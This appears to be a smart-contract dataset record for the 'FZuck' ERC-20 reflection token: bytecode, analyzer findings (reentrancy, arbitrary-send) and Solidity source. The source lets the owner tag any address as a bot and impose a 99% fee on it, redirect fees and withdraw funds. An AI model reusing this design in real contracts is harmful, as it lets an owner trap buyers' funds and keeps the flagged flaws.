815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610487565b60008111610d855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610487565b6001600160a01b03831660009081526006602052604090205460ff16158015610dc757506001600160a01b03821660009081526006602052604090205460ff16155b610dd057600080fd5b6007600a556003600b556000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b15610f6e57600e546001600160a01b038481169116148015610e365750600d546001600160a01b03838116911614155b8015610e5b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e705750600e54600160b81b900460ff165b15610e9a57600f54811115610e8457600080fd5b600e54600160a01b900460ff16610e9a57600080fd5b600d546001600160a01b03848116911614801590610ed157506001600160a01b03831660009081526005602052604090205460ff16155b15610ef757600e546001600160a01b0390811690831603610ef7576007600a556003600b555b6000610f0230610506565b600e54909150600160a81b900460ff16158015610f2d5750600e546001600160a01b03858116911614155b8015610f425750600e54600160b01b900460ff165b15610f6c57610f508161106f565b476706f05b59d3b20000811115610f6a57610f6a47610fb8565b505b505b610f79838383611299565b505050565b60008184841115610fa25760405162461bcd60e51b81526004016104879190611607565b506000610faf8486611945565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610904573d6000803e3d6000fd5b60006008548211156110595760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610487565b60006110636112a4565b9050610b328382610af0565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110b7576110b76118b5565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611110573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111349190611898565b81600181518110611147576111476118b5565b6001600160a01b039283166020918202929092010152600d5461116d9130911684610b39565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a690859060009086903090429060040161195c565b600060405180830381600087803b1580156111c057600080fd5b505af11580156111d4573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000826000036111fb575060006103ee565b600061120783856119cd565b90508261121485836119ec565b14610b325760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610487565b6000818361128c5760405162461bcd60e51b81526004016104879190611607565b506000610faf84866119ec565b610f798383836112c7565b60008060006112b16113be565b90925090506112c08282610af0565b9250505090565b6000806000806000806112d9876113fc565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130b9087611459565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133a908661149b565b6001600160a01b03891660009081526002602052604090205561135c816114fa565b6113668483611544565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ab91815260200190565b60405180910390a3505050505050505050565b600854600090819066071afd498d00006113d88282610af0565b8210156113f35750506008549266071afd498d000092509050565b90939092509050565b60008060008060008060008060006114198a600a54600b54611568565b92509250925060006114296112a4565b9050600080600061143c8e8787876115b7565b919e509c509a509598509396509194505050505091939550919395565b6000610b3283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7e565b6000806114a88385611a0e565b905083811015610b325760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610487565b60006115046112a4565b9050600061151283836111e9565b3060009081526002602052604090205490915061152f908261149b565b30600090815260026020526040902055505050565b6008546115519083611459565b600855600954611561908261149b565b6009555050565b600080808061157c606461096b89896111e9565b9050600061158f606461096b8a896111e9565b905060006115a7826115a18b86611459565b90611459565b9992985090965090945050505050565b60008080806115c688866111e9565b905060006115d488876111e9565b905060006115e288886111e9565b905060006115f4826115a18686611459565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561163457858101830151858201604001528201611618565b81811115611646576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050357600080fd5b803561167c8161165c565b919050565b6000806040838503121561169457600080fd5b823561169f8161165c565b946020939093013593505050565b6000806000606084860312156116c257600080fd5b83356116cd8161165c565b925060208401356116dd8161165c565b929592945050506040919091013590565b60006020828403121561170057600080fd5b8135610b328161165c565b801515811461050357600080fd5b60006020828403121561172b57600080fd5b8135610b328161170b565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561175f57600080fd5b823567ffffffffffffffff8082111561177757600080fd5b818501915085601f83011261178b57600080fd5b81358181111561179d5761179d611736565b8060051b604051601f19603f830116810181811085821117156117c2576117c2611736565b6040529182528482019250838101850191888311156117e057600080fd5b938501935b82851015611805576117f685611671565b845293850193928501926117e5565b98975050505050505050565b60006020828403121561182357600080fd5b5035919050565b6000806040838503121561183d57600080fd5b82356118488161165c565b915060208301356118588161165c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118aa57600080fd5b8151610b328161165c565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016118f3576118f36118cb565b5060010190565b60008060006060848603121561190f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193a57600080fd5b8151610b328161170b565b600082821015611957576119576118cb565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ac5784516001600160a01b031683529383019391830191600101611987565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156119e7576119e76118cb565b500290565b600082611a0957634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a2157611a216118cb565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220637e0fc0ef0faea37dc66b2df526a2ba9dc161498380a5f3d84deba8892399ec64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,382 |
0xf9bc5a2bbfd09dc5fbd1c0c3bc99b66bf59fe566
|
/**
$$$$$$$$\ $$\ $$$$$$$$\ $$\
$$ _____| $$ | \____$$ | $$ |
$$ | $$\ $$\ $$$$$$$\ $$ | $$\ $$ /$$\ $$\ $$$$$$$\ $$ | $$\
$$$$$\ $$ | $$ |$$ _____|$$ | $$ | $$ / $$ | $$ |$$ _____|$$ | $$ |
$$ __|$$ | $$ |$$ / $$$$$$ / $$ / $$ | $$ |$$ / $$$$$$ /
$$ | $$ | $$ |$$ | $$ _$$< $$ / $$ | $$ |$$ | $$ _$$<
$$ | \$$$$$$ |\$$$$$$$\ $$ | \$$\ $$$$$$$$\\$$$$$$ |\$$$$$$$\ $$ | \$$\
\__| \______/ \_______|\__| \__| \________|\______/ \_______|\__| \__|
Website:
https://fzuck.co
Telegram:
https://t.me/FZuckCo
SPDX-License-Identifier: Unlicensed
**/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Auth is Context {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract deployer
*/
modifier onlyDeployer() {
require(isOwner(_msgSender()), "!D"); _;
}
/**
* Function modifier to require caller to be owner
*/
modifier onlyOwner() {
require(authorizations[_msgSender()], "!OWNER"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr, bool allow) public onlyDeployer {
authorizations[adr] = allow;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
*/
function transferOwnership(address payable adr) public onlyDeployer {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract FZuck is Context, IERC20, Auth {
using SafeMath for uint256;
string private constant _name = "Fuck Zuck | FZuck.co";
string private constant _symbol = "FZUCK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * (10**_decimals); // 1T Supply
uint256 public swapLimit;
bool private swapEnabled = true;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _launchBlock;
uint256 private _protectionBlocks;
uint256 private _buyMaintenanceFee = 8;
uint256 private _buyReflectionFee = 2;
uint256 private _sellMaintenanceFee = 10;
uint256 private _sellReflectionFee = 2;
struct FeeBreakdown {
uint256 tTransferAmount;
uint256 tMaintenance;
uint256 tReflection;
}
struct Fee {
uint256 buyMaintenanceFee;
uint256 buyReflectionFee;
uint256 sellMaintenanceFee;
uint256 sellReflectionFee;
bool isBot;
}
mapping(address => bool) private bot;
address payable private _maintenanceAddress;
address payable constant private _burnAddress = payable(0x000000000000000000000000000000000000dEaD);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxBuyTxAmount = _tTotal;
uint256 private _maxSellTxAmount = _tTotal;
bool private tradingOpen = false;
bool private inSwap = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(uint256 perc) Auth(_msgSender()) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(_uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(_uniswapV2Router),type(uint256).max);
address owner = _msgSender();
_maintenanceAddress = payable(owner);
swapLimit = _tTotal.div(100).mul(100 - perc);
authorize(_maintenanceAddress, true);
_rOwned[owner] = _rTotal.div(100).mul(perc);
_rOwned[address(this)] = _rTotal.sub(_rOwned[owner]);
_isExcludedFromFee[owner] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_maintenanceAddress] = true;
emit Transfer(address(0), owner, _tTotal);
}
function name() override external pure returns (string memory) {return _name;}
function symbol() override external pure returns (string memory) {return _symbol;}
function decimals() override external pure returns (uint8) {return _decimals;}
function totalSupply() external pure override returns (uint256) {return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {return tokenFromReflection(_rOwned[account]);}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function getNormalFee() internal view returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMaintenanceFee = _buyMaintenanceFee;
currentFee.buyReflectionFee = _buyReflectionFee;
currentFee.sellMaintenanceFee = _sellMaintenanceFee;
currentFee.sellReflectionFee = _sellReflectionFee;
currentFee.isBot = false;
return currentFee;
}
function zeroFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMaintenanceFee = 0;
currentFee.buyReflectionFee = 0;
currentFee.sellMaintenanceFee = 0;
currentFee.sellReflectionFee = 0;
currentFee.isBot = false;
return currentFee;
}
function setBotFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMaintenanceFee = 99;
currentFee.buyReflectionFee = 0;
currentFee.sellMaintenanceFee = 99;
currentFee.sellReflectionFee = 0;
currentFee.isBot = true;
return currentFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
Fee memory currentFee = getNormalFee();
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyTxAmount, "Max Buy Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) bot[to] = true;
} else if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from]) { //sells, transfers (except for buys)
require(amount <= _maxSellTxAmount, "Max Sell Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) bot[from] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapLimit && swapEnabled) convertTokensForFee(contractTokenBalance.sub(swapLimit));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) distributeFee(address(this).balance);
} else {
takeFee = false;
}
if (bot[from] || bot[to]) {
currentFee = setBotFee();
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee, currentFee);
}
function convertTokensForFee(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, _maintenanceAddress, block.timestamp);
}
function distributeFee(uint256 amount) private {
_maintenanceAddress.transfer(amount);
}
function openTrading(uint256 protectionBlocks) external onlyOwner {
_launchBlock = block.number;
_protectionBlocks = protectionBlocks;
tradingOpen = true;
}
function updateProtection(uint256 protectionBlocks) external onlyOwner {
_protectionBlocks = protectionBlocks;
}
function triggerSwap(uint256 perc) external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
convertTokensForFee(contractBalance.mul(perc).div(100));
swapLimit = contractBalance.mul(100-perc).div(100);
}
function manuallyCollectFee(uint256 amount) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
distributeFee(amount > 0 ? amount : contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, Fee memory currentFee) private {
if (!takeFee) currentFee = zeroFee();
if (sender == uniswapV2Pair){
_transferStandardBuy(sender, recipient, amount, currentFee);
}
else {
_transferStandardSell(sender, recipient, amount, currentFee);
}
}
function _transferStandardBuy(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tMaintenance) = _getValuesBuy(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_processFee(tMaintenance, currentFee.isBot);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandardSell(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tMaintenance) = _getValuesSell(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if (recipient == _burnAddress) {
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
}
_processFee(tMaintenance, currentFee.isBot);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _processFee(uint256 tMaintenance, bool isBot) internal {
uint256 currentRate = _getRate();
uint256 rMaintenance = tMaintenance.mul(currentRate);
if (isBot) {
_tOwned[_burnAddress] = _tOwned[_burnAddress].add(tMaintenance);
_rOwned[_burnAddress] = _rOwned[_burnAddress].add(rMaintenance);
} else {
_rOwned[address(this)] = _rOwned[address(this)].add(rMaintenance);
}
}
receive() external payable {}
function _getValuesBuy(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory buyFees;
(buyFees.tTransferAmount, buyFees.tMaintenance, buyFees.tReflection) = _getTValues(tAmount, currentFee.buyMaintenanceFee, currentFee.buyReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, buyFees.tMaintenance, buyFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, buyFees.tTransferAmount, buyFees.tMaintenance);
}
function _getValuesSell(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory sellFees;
(sellFees.tTransferAmount, sellFees.tMaintenance, sellFees.tReflection) = _getTValues(tAmount, currentFee.sellMaintenanceFee, currentFee.sellReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, sellFees.tMaintenance, sellFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, sellFees.tTransferAmount, sellFees.tMaintenance);
}
function _getTValues(uint256 tAmount, uint256 maintenanceFee, uint256 reflectionFee) private pure returns (uint256, uint256, uint256) {
uint256 tMaintenance = tAmount.mul(maintenanceFee).div(100);
uint256 tReflection = tAmount.mul(reflectionFee).div(100);
uint256 tTransferAmount = tAmount.sub(tMaintenance);
tTransferAmount = tTransferAmount.sub(tReflection);
return (tTransferAmount, tMaintenance, tReflection);
}
function _getRValues(uint256 tAmount, uint256 tMaintenance, uint256 tReflection, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rMaintenance = tMaintenance.mul(currentRate);
uint256 rReflection = tReflection.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rMaintenance).sub(rReflection);
return (rAmount, rTransferAmount, rReflection);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (_rOwned[_burnAddress] > rSupply || _tOwned[_burnAddress] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_burnAddress]);
tSupply = tSupply.sub(_tOwned[_burnAddress]);
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setIsExcludedFromFee(address account, bool toggle) external onlyOwner {
_isExcludedFromFee[account] = toggle;
}
function manageBots(address account, bool toggle) external onlyOwner {
bot[account] = toggle;
}
function setMaxBuyTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxBuyTxAmount = maxTxLimit;
}
function setMaxSellTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxSellTxAmount = maxTxLimit;
}
function setTaxes(uint256 buyMaintenanceFee, uint256 buyReflectionFee, uint256 sellMaintenanceFee, uint256 sellReflectionFee) external onlyOwner {
require(buyMaintenanceFee.add(buyReflectionFee) < 50, "Sum of sell fees must be less than 50");
require(sellMaintenanceFee.add(sellReflectionFee) < 50, "Sum of buy fees must be less than 50");
_buyMaintenanceFee = buyMaintenanceFee;
_buyReflectionFee = buyReflectionFee;
_sellMaintenanceFee = sellMaintenanceFee;
_sellReflectionFee = sellReflectionFee;
}
function updateSwapLimit(uint256 amount) external onlyOwner {
swapLimit = amount;
}
function updateSwap(bool _swapEnabled) external onlyOwner {
swapEnabled = _swapEnabled;
}
function setFeeReceiver(address payable maintenanceAddress) external onlyOwner {
_maintenanceAddress = maintenanceAddress;
}
function recoverTokens(address addr, uint amount) external onlyOwner {
IERC20(addr).transfer(_msgSender(), amount);
}
}
|
0x6080604052600436106101a05760003560e01c806373d46b07116100ec578063ef422a181161008a578063f2fde38b11610064578063f2fde38b1461051d578063f8e5884b1461053d578063fab355f21461055d578063fceade721461057d57600080fd5b8063ef422a18146104bd578063efdcd974146104dd578063efe23e86146104fd57600080fd5b8063a12a7d61116100c6578063a12a7d6114610417578063a9059cbb14610437578063d163364914610457578063dd62ed3e1461047757600080fd5b806373d46b07146103a9578063943620db146103c957806395d89b41146103e957600080fd5b80632f54bf6e116101595780635d2c76b0116101335780635d2c76b0146103335780636883b831146103535780636a01f09c1461037357806370a082311461038957600080fd5b80632f54bf6e146102b0578063313ce567146102df57806349bd5a5e146102fb57600080fd5b8063069c9fae146101ac57806306fdde03146101ce578063095ea7b31461021d57806318160ddd1461024d57806323b872dd146102705780632d1fb3891461029057600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101cc6101c7366004611cbb565b61059d565b005b3480156101da57600080fd5b506040805180820190915260148152734675636b205a75636b207c20465a75636b2e636f60601b60208201525b6040516102149190611d6c565b60405180910390f35b34801561022957600080fd5b5061023d610238366004611cbb565b61066a565b6040519015158152602001610214565b34801561025957600080fd5b50610262610681565b604051908152602001610214565b34801561027c57600080fd5b5061023d61028b366004611c4c565b6106a3565b34801561029c57600080fd5b506101cc6102ab366004611c8d565b61070c565b3480156102bc57600080fd5b5061023d6102cb366004611bd9565b6000546001600160a01b0391821691161490565b3480156102eb57600080fd5b5060405160098152602001610214565b34801561030757600080fd5b5060125461031b906001600160a01b031681565b6040516001600160a01b039091168152602001610214565b34801561033f57600080fd5b506101cc61034e366004611d21565b610771565b34801561035f57600080fd5b506101cc61036e366004611d21565b6107a5565b34801561037f57600080fd5b5061026260065481565b34801561039557600080fd5b506102626103a4366004611bd9565b6107ed565b3480156103b557600080fd5b506101cc6103c4366004611d21565b61080f565b3480156103d557600080fd5b506101cc6103e4366004611ce7565b610843565b3480156103f557600080fd5b50604080518082019091526005815264465a55434b60d81b6020820152610207565b34801561042357600080fd5b506101cc610432366004611d3a565b610885565b34801561044357600080fd5b5061023d610452366004611cbb565b610994565b34801561046357600080fd5b506101cc610472366004611d21565b6109a1565b34801561048357600080fd5b50610262610492366004611c13565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104c957600080fd5b506101cc6104d8366004611c8d565b6109e6565b3480156104e957600080fd5b506101cc6104f8366004611bd9565b610a40565b34801561050957600080fd5b506101cc610518366004611c8d565b610a91565b34801561052957600080fd5b506101cc610538366004611bd9565b610aeb565b34801561054957600080fd5b506101cc610558366004611d21565b610b91565b34801561056957600080fd5b506101cc610578366004611d21565b610c0a565b34801561058957600080fd5b506101cc610598366004611d21565b610c3e565b3360009081526001602052604090205460ff166105d55760405162461bcd60e51b81526004016105cc90611dc1565b60405180910390fd5b6001600160a01b03821663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b15801561062d57600080fd5b505af1158015610641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106659190611d04565b505050565b6000610677338484610d7c565b5060015b92915050565b600061068f6009600a611ecf565b61069e9064e8d4a51000611f7a565b905090565b60006106b0848484610ea0565b61070284336106fd85604051806060016040528060288152602001612023602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611258565b610d7c565b5060019392505050565b610715336102cb565b6107465760405162461bcd60e51b8152602060048201526002602482015261085160f21b60448201526064016105cc565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b3360009081526001602052604090205460ff166107a05760405162461bcd60e51b81526004016105cc90611dc1565b601355565b3360009081526001602052604090205460ff166107d45760405162461bcd60e51b81526004016105cc90611dc1565b476107e9826107e35781611292565b82611292565b5050565b6001600160a01b03811660009081526002602052604081205461067b906112cc565b3360009081526001602052604090205460ff1661083e5760405162461bcd60e51b81526004016105cc90611dc1565b600a55565b3360009081526001602052604090205460ff166108725760405162461bcd60e51b81526004016105cc90611dc1565b6007805460ff1916911515919091179055565b3360009081526001602052604090205460ff166108b45760405162461bcd60e51b81526004016105cc90611dc1565b60326108c08585611349565b1061091b5760405162461bcd60e51b815260206004820152602560248201527f53756d206f662073656c6c2066656573206d757374206265206c6573732074686044820152640616e2035360dc1b60648201526084016105cc565b60326109278383611349565b106109805760405162461bcd60e51b8152602060048201526024808201527f53756d206f66206275792066656573206d757374206265206c6573732074686160448201526306e2035360e41b60648201526084016105cc565b600b93909355600c91909155600d55600e55565b6000610677338484610ea0565b3360009081526001602052604090205460ff166109d05760405162461bcd60e51b81526004016105cc90611dc1565b43600955600a556015805460ff19166001179055565b3360009081526001602052604090205460ff16610a155760405162461bcd60e51b81526004016105cc90611dc1565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b3360009081526001602052604090205460ff16610a6f5760405162461bcd60e51b81526004016105cc90611dc1565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526001602052604090205460ff16610ac05760405162461bcd60e51b81526004016105cc90611dc1565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b610af4336102cb565b610b255760405162461bcd60e51b8152602060048201526002602482015261085160f21b60448201526064016105cc565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b3360009081526001602052604090205460ff16610bc05760405162461bcd60e51b81526004016105cc90611dc1565b6000610bcb306107ed565b9050610bea610be56064610bdf8486610cbb565b90610c72565b6113a8565b610c036064610bdf610bfc8583611f99565b8490610cbb565b6006555050565b3360009081526001602052604090205460ff16610c395760405162461bcd60e51b81526004016105cc90611dc1565b601455565b3360009081526001602052604090205460ff16610c6d5760405162461bcd60e51b81526004016105cc90611dc1565b600655565b6000610cb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152f565b9392505050565b600082610cca5750600061067b565b6000610cd68385611f7a565b905082610ce38583611e6a565b14610cb45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105cc565b6000610cb483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611258565b6001600160a01b038316610dde5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105cc565b6001600160a01b038216610e3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105cc565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105cc565b6001600160a01b038216610f665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105cc565b60008111610fc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105cc565b60016000610fd461155d565b6012549091506001600160a01b03868116911614801561100257506011546001600160a01b03858116911614155b801561102757506001600160a01b03841660009081526005602052604090205460ff16155b156110bc5760135483111561106e5760405162461bcd60e51b815260206004820152600d60248201526c13585e08109d5e48131a5b5a5d609a1b60448201526064016105cc565b600a5460095461107d91611349565b4311158061108e575060155460ff16155b156110b7576001600160a01b0384166000908152600f60205260409020805460ff